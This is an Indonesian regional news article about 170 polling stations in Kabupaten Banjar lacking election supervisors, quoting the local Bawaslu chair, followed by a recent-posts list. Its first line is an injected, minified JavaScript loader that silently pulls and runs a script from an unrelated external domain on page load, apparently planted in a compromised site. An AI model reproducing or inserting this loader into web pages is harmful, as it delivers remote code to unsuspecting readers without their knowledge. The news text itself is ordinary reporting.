(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

170 TPS di Kabupaten Banjar Terancam Tanpa Pengawas


MARTAPURA, Sama halnya seperti di beberapa wilayah seluruh Indonesia. Bawaslu nampak kesulitan dalam perekrutan pengawas Tempat Pemungutan Suara (TPS).

Setidaknya ada 170 Tempat Pemungutan Suara (TPS) di Kabupaten Banjar yang terancam tanpa pengawas.

Begitu disampaikan Ketua Bawaslu Banjar Fajeri Tamzidillah, sampai saat ini masih ada 170 pengawas dari 1.837 TPS yang ada di Kabupaten Banjar masih belum ada pengawasnya, karena pendaftar pengawas TPS banyak yang tidak menenuhi syarat.

“Hari ini kita akan lantik seluruh pengawas di TPS, sebenarnya jumlah pengawas yang dibutuhkan sama dengan jumlah TPS di wilayah Kabupaten Banjar yaitu 1.837 TPS, namun yang ada pengawas baru 1.667 TPS, memng kecil sekali jika dibanding total jumlah TPS yang ada di Kabupaten Banjar,” bebernya.

Ditambahkan Fajeri, adapun persyaratan untuk menjadi pengawas TPS sama seperti beberapa kabupaten/kota lain. Diantaranya berusia minimal 25 tahun, setia kepada Pancasila, UUD 1945, NKRI, Bhinneka Tunggal Ika, dan cita-cita Proklamasi 17 Agustus 1945 hingga berpendidikan paling rendah sekolah menengah atas atau sederajat.

“Banyak yang tidak memenuhi beberapa persyaratan tersebut, sehingga ada beberapa TPS yang tidak bisa kita rekrut. Apakah ini ada kebijakan lain, kami tunggu regulasi dari Bawaslu RI. Ini memang bukan permasalahan kita saja di Bawaslu Banjar, tapi juga hingga tingkat provinsi,” terangnya.

Ditanya adakah solusi mengenai TPS yang kosong pengawas itu, Fajeri mengatakan, apabila tidak ada regulasi dari Bawaslu RI, dengan sangat terpaksa di beberapa TPS yang tidak ada pengawas ditugaskan pengawas desa ataupun pengawas kelurahan ke TPS tersebut.

“Jadi kalau memang tidak ada, kita akan turunkan pengawas dari kelurahan atau desa, minimal mereka melihat proses perhitungan suara, atau memfoto hasilnya, sehingga itu menjadi bahan pantauan kita, bahwa pemungutan di TPS itu dapat berjalan dan data apabila ada terjadi permasalahan kemudian hari,” pungkasnya. (rendy)

Reporter : Rendy
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

DKISP Banjar Raih Penghargaan Apresiasi Media Pemprov Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More

3 jam ago

Polisi Ungkap Kasus Curanmor di Rusunawa Banjarmasin, 3 Orang Ditangkap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More

4 jam ago

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

19 jam ago

Peringatan HUT ke-79 PGRI di HSU, Pj Bupati: Tugas Mulia Mencerdaskan Bangsa

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More

20 jam ago

Catatan ATCS Tugu Adipura, Pengendara Merasa Malah Ada Penumpukan

Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More

20 jam ago

Top up Voucher Mobile Legend Sekarang Jadi Lebih Mudah dengan BRImo

KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More

21 jam ago

This website uses cookies.